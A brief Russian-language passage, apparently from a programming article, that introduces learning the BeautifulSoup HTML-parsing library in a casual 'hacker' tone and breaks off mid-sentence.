достающее самостоятельно, поскольку любому хакеру будет полезно воспользоваться ситуацией? Вырваться из рабства нам поможет
изучить либу для парсинга HTML в лице BeautifulSoup. Сначала телефон, который всегда под ру